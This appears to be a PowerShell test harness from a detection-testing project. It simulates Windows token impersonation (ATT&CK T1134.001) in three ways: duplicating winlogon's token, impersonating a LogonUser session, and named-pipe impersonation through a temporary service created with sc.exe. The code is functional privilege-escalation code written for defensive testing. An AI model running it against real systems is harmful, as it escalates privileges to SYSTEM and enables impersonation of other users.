Windows/TestHarnesses/T1134.001_TokenImpersonation/TokenImpersonation.ps1

if (-not ('AtomicTestHarnesses_T1134_001.ProcessNativeMethods' -as [Type])) {
    $TypeDef = @'
using System;
using System.Runtime.InteropServices;
namespace AtomicTestHarnesses_T1134_001 {
    [Flags]
    public enum ProcessAccess {
        AllAccess = 0x001FFFFF,
        Terminate = 0x00000001,
        CreateThread = 0x00000002,
        VirtualMemoryOperation = 0x00000008,
        VirtualMemoryRead = 0x00000010,
        VirtualMemoryWrite = 0x00000020,
        DuplicateHandle = 0x00000040,
        CreateProcess = 0x000000080,
        SetQuota = 0x00000100,
        SetInformation = 0x00000200,
        QueryInformation = 0x00000400,
        QueryLimitedInformation = 0x00001000,
        Synchronize = 0x00100000
    }

    [Flags]
    public enum TokenAccess {
        StandardRequiredRights = 0x000F0000,
        StandardRead = 0x00020000,
        TokenAssignPrimary = 0x0001,
        TokenDuplicate = 0x0002,
        TokenImpersonate = 0x0004,
        TokenQuery = 0x0008,
        TokenQuerySource = 0x0010,
        TokenAdjustPrivileges = 0x0020,
        TokenAdjustGroups = 0x0040,
        TokenAdjustDefault = 0x0080,
        TokenAdjustSessionId = 0x0100,
        AllAccess = (StandardRequiredRights | TokenAssignPrimary | TokenDuplicate | TokenImpersonate | TokenQuery | TokenQuerySource | TokenAdjustPrivileges | TokenAdjustGroups | TokenAdjustDefault)
    }

    [Flags]
    public enum LOGON_TYPE {
        LOGON32_LOGON_INTERACTIVE = 2,
        LOGON32_LOGON_NETWORK = 3,
        LOGON32_LOGON_BATCH = 4,
        LOGON32_LOGON_SERVICE = 5,
        LOGON32_LOGON_UNLOCK = 7,
        LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
        LOGON32_LOGON_NEW_CREDENTIALS = 9
    }

    [Flags]
    public enum LOGON_PROVIDER {
        LOGON32_PROVIDER_DEFAULT = 0,
        LOGON32_PROVIDER_WINNT35 = 1,
        LOGON32_PROVIDER_WINNT40 = 2,
        LOGON32_PROVIDER_WINNT50 = 3
    }

    public enum SECURITY_IMPERSONATION_LEVEL {
        SecurityAnonymous,
        SecurityIdentification,
        SecurityImpersonation,
        SecurityDelegation
    }

    [Flags]
    public enum TOKEN_TYPE {
        TokenPrimary = 1,
        TokenImpersonation = 2
    }

    [Flags]
    public enum PipeOpenModeFlags : long
    {
        PIPE_ACCESS_DUPLEX = 0x00000003,
        PIPE_ACCESS_INBOUND = 0x00000001,
        PIPE_ACCESS_OUTBOUND = 0x00000002,
        FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000,
        FILE_FLAG_WRITE_THROUGH = 0x80000000,
        FILE_FLAG_OVERLAPPED = 0x40000000,
        WRITE_DAC = 0x00040000L,
        WRITE_OWNER = 0x00080000L,
        ACCESS_SYSTEM_SECURITY = 0x01000000L
    }

    [Flags]
    public enum PipeModeFlags : long
    {
        PIPE_TYPE_BYTE = 0x00000000,
        PIPE_TYPE_MESSAGE = 0x00000004,
        PIPE_READMODE_BYTE = 0x00000000,
        PIPE_READMODE_MESSAGE = 0x00000002,
        PIPE_WAIT = 0x00000000,
        PIPE_NOWAIT = 0x00000001,
        PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000,
        PIPE_REJECT_REMOTE_CLIENTS = 0x00000008
    }

    public class ProcessNativeMethods {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(
            ProcessAccess processAccess,
            bool bInheritHandle,
            int processId);

        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenProcessToken(
            IntPtr ProcessHandle,
            TokenAccess DesiredAccess,
            ref IntPtr TokenHandle);

        [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
        public extern static bool DuplicateTokenEx(
            IntPtr hExistingToken,
            TokenAccess dwDesiredAccess,
            IntPtr lpTokenAttributes,
            SECURITY_IMPERSONATION_LEVEL SECURITY_IMPERSONATION_LEVEL,
            TOKEN_TYPE TokenType,
            out IntPtr phNewToken);

        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool LogonUser(
            string lpszUsername,
            string lpszDomain,
            string lpszPassword,
            LOGON_TYPE dwLogonType,
            LOGON_PROVIDER dwLogonProvider,
            ref IntPtr phToken
            );
        [DllImport("advapi32.dll", SetLastError=true)]
            public static extern bool ImpersonateLoggedOnUser(
                IntPtr hToken);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr CreateNamedPipe(
            string lpName,
            PipeOpenModeFlags dwOpenMode,
            PipeModeFlags dwPipeMode,
            uint nMaxInstances,
            uint nOutBufferSize,
            uint nInBufferSize,
            uint nDefaultTimeOut,
            IntPtr lpSecurityAttributes);

        [DllImport("kernel32.dll")]
        public static extern bool ConnectNamedPipe(
            IntPtr hNamedPipe,
            IntPtr lpOverlapped);

        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool ImpersonateNamedPipeClient(
            IntPtr hHandle);

        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool DisconnectNamedPipe(
            IntPtr hNamedPipe);

        [DllImport("kernel32.dll", SetLastError=true)]
            public static extern bool CloseHandle(
                IntPtr hHandle);
    
        [DllImport("advapi32.dll", SetLastError = true)]
            public static extern bool RevertToSelf();
    }
}
'@

Add-Type -TypeDefinition $TypeDef
}
function Invoke-ATHTokenImpersonation {
    <#
    .SYNOPSIS
    Test runner for token impersonation.
    
    Technique ID: T1134.001 (Token Impersonation/Theft)

    .DESCRIPTION

    Invoke-ATHTokenImpersonation was designed to simulate token impersonation on a local host.

    .PARAMETER ProcessId

    Specifies the process id of the target process. This allows the user to choose a process that is running under any security context and attempt impersonation.

    .PARAMETER AccessRights

    Specifies the access rights (QueryLimitedInformation, QueryInformation, AllAccess) the user wants to request when opening a handle to the target process.

    .PARAMETER Credential
    
    Specifies the credential the user wants to pass through to the LogonUser API.
    
    .PARAMETER LogonToken
    
    Switch parameter that will specify to use the LogonToken parameter set.

    .PARAMETER NamedPipe
    
    Switch parameter that will specify to use the NamedPipe parameter set.

    .PARAMETER PipeName
    
    Specifies the name of the named pipe that will be created and used.

    .PARAMETER LogonType
    
    Specifies the LogonType (Network or NewCredential) the user wants to use to logon the target user.
    
    .PARAMETER TestGuid
    
    Optionally, specify a test GUID value to use to override the generated test GUID behavior.
    
    .INPUTS

    System.Diagnostics.Process
    Invoke-ATHTokenImpersonation accepts the output of Get-Process. Only one Process object should be supplied to Invoke-ATHTokenImpersonation.
    Microsoft.Management.Infrastructure.CimInstance#root/cimv2/Win32_Process
    Invoke-ATHTokenImpersonation accepts the output of a Win32_Process WMI object via Get-CimInstance.
    
    .OUTPUTS

    PSObject
    Outputs an object consisting of relevant execution details. The following object properties may be populated:

    * TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID.
    * TestSuccess - Will be set to True if it was determined that the technique executed successfully. Invoke-ATHTokenImpersonation can identify when impersonation was successful by checking the security context of the current thread and confirming it is different then the original security context.
    * TestGuid - Specifies the test GUID that was used for the test.
    * TestCommand - Specifies the command-line arguments used to perform the test.
    * PipeName - Indicates the name of the pipe that was created and called.
    * ServiceName - Indicates the name of the service that was created.
    * SourceUser - Specifies the user that the current thread is running under before impersonation was performed.
    * SourceExecutableFilePath - Specifies the full path of the source executable. If the source executable is specified as a byte array, this property will be empty.
    * SourceExecutableFileHash - SHA256 hash of the source executable.
    * ImpersonatedUser - Specifies the user account that is being ran in the current thread after impersonation was performed.
    * SourceProcessId - Specifies the process ID of the process performing impersonation.
    * GrantedRights - The process rights used to request a handle to the target process.
    * TargetExecutablePath - Specifies the full path of the target executable.
    * TargetExecutableFileHash - SHA256 hash of the target executable.

    .EXAMPLE

    Invoke-ATHTokenImpersonation

    .EXAMPLE

    Get-Process -name notepad | Invoke-ATHTokenImpersonation
    Perform impersonation where notepad.exe is the target process.

    .EXAMPLE

    Invoke-ATHTokenImpersonation -AccessRights AllAccess
    Performs impersonation and specifying the access rights as AllAccess.

    .EXAMPLE

    Get-Process -name notepad | Invoke-ATHTokenImpersonation -AccessRights AllAccess
    Performs impersonation and specifying the target process as notepad and the access rights as AllAccess.

    .EXAMPLE

    $cred = Get-Credential
    Invoke-ATHTokenImpersonation -LogonToken -Credential $cred -LogonType Network
    Logs in a user with legitimate credentials under a Network Logon (Type 3), then impersonates the logged on user.

    .EXAMPLE

    $cred = Get-Credential
    Invoke-ATHTokenImpersonation -LogonToken -Credential $cred -LogonType NewCredential
    Logs in a user with legitimate/illegitimate credentials under a NewCredential Logon (Type 9), then impersonates the logged on user.

    .EXAMPLE

    Invoke-ATHTokenImpersonation -NamedPipe
    Performs named pipe impersonation.
    #>


    [CmdletBinding(DefaultParameterSetName = 'Token')]
    param (

        [Parameter(Mandatory, ParameterSetName = 'NamedPipe')]
        [Switch]
        $NamedPipe,

        [Parameter(Mandatory, ParameterSetName = 'LogonToken')]
        [Switch]
        $LogonToken,

        [Parameter(ValueFromPipelineByPropertyName, ParameterSetName = 'Token')]
        [Int32]
        [Alias('Id')]
        $ProcessId = (Get-Process -Name winlogon)[0].Id,

        [Parameter(ParameterSetName = 'Token')]
        [string]
        [ValidateSet('AllAccess', 'QueryLimitedInformation', 'QueryInformation')]
        $AccessRights = 'QueryLimitedInformation',

        [Parameter(ParameterSetName = 'NamedPipe')]
        [string]
        [ValidateNotNullOrEmpty()]
        $PipeName = 'TestHarness', 

        [Parameter(ParameterSetName = 'LogonToken')]
        [string]
        [ValidateSet('Network', 'NewCredential')]
        $LogonType = 'Network',

        [Parameter(Mandatory, ParameterSetName = 'LogonToken')]
        [System.Management.Automation.PSCredential]
        $Credential,
        
        [Guid]
        $TestGuid = (New-Guid)
    )
    $IsAdministrator = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
    if ($IsAdministrator -eq $False){
        Write-Error "Insufficent privileges to perform operation. Please run as Administrator." #The privileges you need to perform ImpersonateLoggedOnUser is SeImpersonatePrivilege. Easiest way to obtain this is to be apart of the Administrators group.
        return
    }
    $SourceProcessPath = $null
    $SourceProcessPath =  (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath  -Filter "ProcessId=$PID").Path

    #Source Process Hash Logic:
    $SHA256 = [Security.Cryptography.SHA256]::Create()
    $ResolvedSourceFilePath = Resolve-Path -Path $SourceProcessPath -ErrorAction Stop
    $SourceExeBytes = [IO.File]::ReadAllBytes($ResolvedSourceFilePath.Path)
    $SourceExeHash = ($SHA256.ComputeHash($SourceExeBytes) | ForEach-Object { $_.ToString('X2') }) -join ''

    $SourceUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name

    #Running Command Information:
    $TestCommand = $MyInvocation

    switch ($PSCmdlet.ParameterSetName) {
        'Token'{
            $ProcessHandle = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::OpenProcess(
                $AccessRights, 
                $False,
                $ProcessId
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($ProcessHandle -eq [IntPtr]::Zero){
                Write-Error $LastError
                return
            }

            $TokenHandle = [IntPtr]::Zero
            $TokenResult = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::OpenProcessToken(
                $ProcessHandle,
                'TokenDuplicate',
                [Ref] $TokenHandle
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($TokenResult -eq 0){
                Write-Error $LastError
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($ProcessHandle)
                return
            }

            $hToken = [IntPtr]::Zero

            $DuplicateToken = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::DuplicateTokenEx(
                $TokenHandle,
                'TokenQuery, TokenImpersonate',
                [IntPtr]::Zero,
                'SecurityImpersonation',
                2, #TokenImpersonation
                [ref]$hToken
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($DuplicateToken -eq 0)
            {
                Write-Error $LastError
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($ProcessHandle)
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($TokenHandle)
                return
            }

             $Success = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::ImpersonateLoggedOnUser(
                $hToken
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($Success -eq 0){
                Write-Error $LastError
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($ProcessHandle)
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($TokenHandle)
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($hToken)
                return
            }

            #Testing Logic
            $TargetUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
            $TestSuccess = $null
            if($SourceUser -ne $TargetUser){
                if ($SourceUser -and $TargetUser)
                {
                    $TestSuccess = $true
                }
            }

            #Target Process Hash Logic:
            $TargetExecutablePath = $null
            $TargetExecutablePath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath  -Filter "ProcessId=$ProcessId").Path
            $ResolvedTargetFilePath = Resolve-Path -Path $TargetExecutablePath -ErrorAction Stop
            $TargetExeBytes = [IO.File]::ReadAllBytes($ResolvedTargetFilePath.Path)
            $TargetExeHash = ($SHA256.ComputeHash($TargetExeBytes) | ForEach-Object { $_.ToString('X2') }) -join ''

            [PSCustomObject] @{
                TechniqueID              = 'T1134.001'
                TestSuccess              = $TestSuccess
                TestGuid                 = $TestGuid
                TestCommand              = $TestCommand.Line
                SourceUser               = $SourceUser
                SourceExecutableFilePath = $SourceProcessPath
                SourceExecutableFileHash = $SourceExeHash
                SourceProcessId          = $PID
                GrantedRights            = $AccessRights
                ImpersonatedUser         = $TargetUser
                TargetExecutableFilePath = $TargetExecutablePath
                TargetExecutableFileHash = $TargetExeHash
                TargetProcessId          = $ProcessId
                PipeName                =  $Null
                ServiceName             =  $Null
            }

            #Cleanup
            $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($ProcessHandle)
            $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($TokenHandle)
            $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($hToken)
            
        }
        'LogonToken'{
                if  (-not ($PSBoundParameters.ContainsKey('Credential')))
                {
                    Write-Error "Function not supported unless credentials are passed through"
                    return
                }

                $split = $Credential.UserName.Split("\")
                if ($split.Count -eq 2){
                    $Domain = $split[0]
                    $AccountName = $split[1]
                }
                else {
                    $AccountName = $split[0]
                }
                $LogonTypeCount =  (Get-CimInstance Win32_LogonSession -Filter 'LogonType = 9' | Measure-Object).Count

                if ($LogonType -eq 'NewCredential') { 
                    $LogonTypeNumber = 9
                    $LogonProvider = 3
                }
                else {
                    $LogonTypeNumber = 3
                    $LogonProvider = 1
                }

                $LogonCreds = [System.Net.NetworkCredential]::new("", $Credential.Password).Password

                $hToken = [IntPtr]::Zero
                $Logon = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::LogonUser(
                    $AccountName,
                    $Domain,
                    $LogonCreds,
                    $LogonTypeNumber,
                    $LogonProvider,
                    [ref]$hToken
                );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

                if($Logon -eq 0)
                {
                    Write-Error $LastError
                    return
                }

                
                $Success = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::ImpersonateLoggedOnUser(
                    $hToken
                );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

                switch ($LogonType){
                    'NewCredential' {
                        $LogonTypeCountUpdate =  (Get-CimInstance Win32_LogonSession -Filter 'LogonType = 9' | Measure-Object).Count
                        $Current = [System.Security.Principal.WindowsIdentity]::GetCurrent().ImpersonationLevel
                        $TargetUser = $Credential.UserName
                        
                        #Testing Logic
                        if($LogonTypeCount -ne $LogonTypeCountUpdate){
                            if ($Current -eq 'Impersonation'){
                                $TestSuccess = $true
                            } 
                        }
                    }
                    'Network' {
                        #Testing Logic
                        $TargetUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
                        $TestSuccess = $null
                        if($SourceUser -ne $TargetUser){
                            if ($SourceUser -and $TargetUser)
                            {
                                $TestSuccess = $true
                            }
                        }
                    }
                }
                
                #Cleanup
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($hToken)

                [PSCustomObject] @{
                    TechniqueID              = 'T1134.001'
                    TestSuccess              = $TestSuccess
                    TestGuid                 = $TestGuid
                    TestCommand              = $TestCommand.Line
                    SourceUser               = $SourceUser
                    SourceExecutableFilePath = $SourceProcessPath
                    SourceExecutableFileHash = $SourceExeHash
                    SourceProcessId          = $PID
                    GrantedRights            = $Null
                    ImpersonatedUser         = $TargetUser
                    TargetExecutableFilePath = $Null
                    TargetExecutableFileHash = $Null
                    TargetProcessId          = $Null
                    PipeName                =  $Null
                    ServiceName             =  $Null
                }
        }
       
        'NamedPipe'{
            $pHandle = [IntPtr]::Zero
            $pHandle = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CreateNamedPipe(
                "\\.\pipe\$PipeName", 
                'PIPE_ACCESS_DUPLEX', 
                'PIPE_TYPE_BYTE, PIPE_WAIT', 
                10, 
                2048, 
                2048, 
                0, 
                [IntPtr]::Zero
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($pHandle -eq [IntPtr]::Zero){
                Write-Error $LastError
                return
            }
            #Creating Service
            $null = sc.exe create TestHarness binpath= "%COMSPEC% /C echo TestHarnessTest > \\127.0.0.1\pipe\$PipeName" 
            Start-Process -NoNewWindow -FilePath powershell.exe -ArgumentList 'Start-Sleep -Seconds 8; $null = sc.exe start TestHarness'

            $Success = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::ConnectNamedPipe(
                $pHandle,
                [IntPtr]::Zero
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($Success -eq 0){
                Write-Error $LastError
                return
            }

            $Impersonate = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::ImpersonateNamedPipeClient(
                $pHandle
            );$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()

            if($Impersonate -eq 0){
                Write-Error $LastError
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::DisconnectNamedPipe($pHandle)
                $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($pHandle)
                return
            }

            $TargetUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name

            $TestSuccess = $null
            
                if($SourceUser -ne $TargetUser){
                    if ($SourceUser -and $TargetUser)
                    {
                        $TestSuccess = $true
                    }
                
                }
            #Cleanup
            $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::DisconnectNamedPipe($pHandle)
            $null = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::CloseHandle($pHandle)
            $null = sc.exe delete TestHarness 

            [PSCustomObject] @{
                TechniqueID              = 'T1134.001'
                TestSuccess              = $TestSuccess
                TestGuid                 = $TestGuid
                TestCommand              = $TestCommand.Line
                SourceUser               = $SourceUser
                SourceExecutableFilePath = $SourceProcessPath
                SourceExecutableFileHash = $SourceExeHash
                SourceProcessId          = $PID
                GrantedRights            = $Null
                ImpersonatedUser         = $TargetUser
                TargetExecutableFilePath = $Null
                TargetExecutableFileHash = $Null
                TargetProcessId          = $Null
                PipeName                =  $PipeName
                ServiceName             =  'TestHarness'
            }
        }
    }  

    #Cleanup
    $Revert = [AtomicTestHarnesses_T1134_001.ProcessNativeMethods]::RevertToSelf();$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
    if($Revert -eq 0){
        Write-Error $LastError
        return
    }

}